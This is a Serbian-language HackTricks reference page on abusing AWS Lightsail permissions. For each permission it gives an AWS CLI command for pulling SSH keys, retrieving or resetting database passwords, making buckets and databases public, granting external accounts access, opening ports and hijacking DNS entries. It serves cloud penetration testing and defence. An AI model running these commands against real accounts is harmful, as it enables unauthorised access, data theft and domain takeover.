AWS - Lightsail Privesc

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Lightsail

Za više informacija o Lightsail pogledajte:

AWS - Lightsail Enum

Warning

Važno je napomenuti da Lightsail ne koristi IAM roles belonging to the user već pripada AWS managed account, tako da ne možete zloupotrebiti ovu uslugu za privesc. Međutim, osetljivi podaci kao što su code, API keys i database info mogu se pronaći u ovoj usluzi.

lightsail:DownloadDefaultKeyPair

Ovo dopuštenje će vam omogućiti da preuzmete SSH keys za pristup instancama:

aws lightsail download-default-key-pair

Potencijalni uticaj: Pristup osetljivim informacijama unutar instanci.

lightsail:GetInstanceAccessDetails

Ova dozvola će vam omogućiti da generišete SSH ključeve za pristup instancama:

aws lightsail get-instance-access-details --instance-name <instance_name>

Potencijalni uticaj: Pronađite osetljive informacije unutar instanci.

lightsail:CreateBucketAccessKey

Ovo dopuštenje će vam omogućiti da dobijete ključ za pristup bucketu:

aws lightsail create-bucket-access-key --bucket-name <name>

Potential Impact: Pronađite osetljive informacije unutar bucket-a.

lightsail:GetRelationalDatabaseMasterUserPassword

Ova dozvola vam omogućava da dobijete kredencijale za pristup bazi podataka:

aws lightsail get-relational-database-master-user-password --relational-database-name <name>

Potencijalni uticaj: Pronaći osetljive informacije u bazi podataka.

lightsail:UpdateRelationalDatabase

Ova dozvola će vam omogućiti da promenite lozinku za pristup bazi podataka:

aws lightsail update-relational-database --relational-database-name <name> --master-user-password <strong_new_password>

Ako baza podataka nije javna, možete je takođe učiniti javnom korišćenjem ovih dozvola:

aws lightsail update-relational-database --relational-database-name <name> --publicly-accessible

Potential Impact: Pronaći osetljive informacije u bazi podataka.

lightsail:OpenInstancePublicPorts

Ovo dopuštenje omogućava otvaranje portova prema Internetu

aws lightsail open-instance-public-ports \
--instance-name MEAN-2 \
--port-info fromPort=22,protocol=TCP,toPort=22

Potencijalni uticaj: Pristup osetljivim portovima.

lightsail:PutInstancePublicPorts

Ova dozvola omogućava otvaranje portova ka Internetu. Imajte na umu da će poziv zatvoriti svaki otvoreni port koji nije naveden.

aws lightsail put-instance-public-ports \
--instance-name MEAN-2 \
--port-infos fromPort=22,protocol=TCP,toPort=22

Potencijalni uticaj: Pristup osetljivim portovima.

lightsail:SetResourceAccessForBucket

Ova dozvola omogućava instancama pristup bucket-u bez dodatnih kredencijala.

aws set-resource-access-for-bucket \
--resource-name <instance-name> \
--bucket-name <bucket-name> \
--access allow

Potencijalni uticaj: Mogući novi pristup buckets-ima sa osetljivim informacijama.

lightsail:UpdateBucket

Sa ovom dozvolom napadač bi mogao svom AWS nalogu dodeliti pristup za čitanje nad buckets-ima ili čak učiniti buckets javnim za sve:

# Grant read access to exterenal account
aws update-bucket --bucket-name <value> --readonly-access-accounts <external_account>

# Grant read to the public
aws update-bucket --bucket-name <value> --access-rules getObject=public,allowPublicOverrides=true

# Bucket private but single objects can be public
aws update-bucket --bucket-name <value> --access-rules getObject=private,allowPublicOverrides=true

Potential Impact: Mogući novi pristup bucket-ovima koji sadrže osetljive informacije.

lightsail:UpdateContainerService

Sa ovom dozvolom napadač bi mogao da dodeli pristup privatnim ECR-ovima putem servisa za kontejnere.

aws update-container-service \
--service-name <name> \
--private-registry-access ecrImagePullerRole={isActive=boolean}

Potencijalni uticaj: Dobiti osetljive informacije iz privatnog ECR

lightsail:CreateDomainEntry

Napadač koji ima ovo dopuštenje može kreirati poddomen i usmeriti ga na svoju IP adresu (subdomain takeover), ili sastaviti SPF zapis koji mu omogućava da spoof-uje mejlove sa domena, ili čak postavi glavni domen na svoju IP adresu.

aws lightsail create-domain-entry \
--domain-name example.com \
--domain-entry name=dev.example.com,type=A,target=192.0.2.0

Mogući uticaj: Preuzimanje domena

lightsail:UpdateDomainEntry

Napadač sa ovom dozvolom može kreirati subdomain i usmeriti ga na sopstvenu IP adresu (subdomain takeover), ili napraviti SPF record koji mu omogućava da lažira emailove sa domena, ili čak postaviti glavni domen na sopstvenu IP adresu.

aws lightsail update-domain-entry \
--domain-name example.com \
--domain-entry name=dev.example.com,type=A,target=192.0.2.0

Potencijalni uticaj: Takeover a domain

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks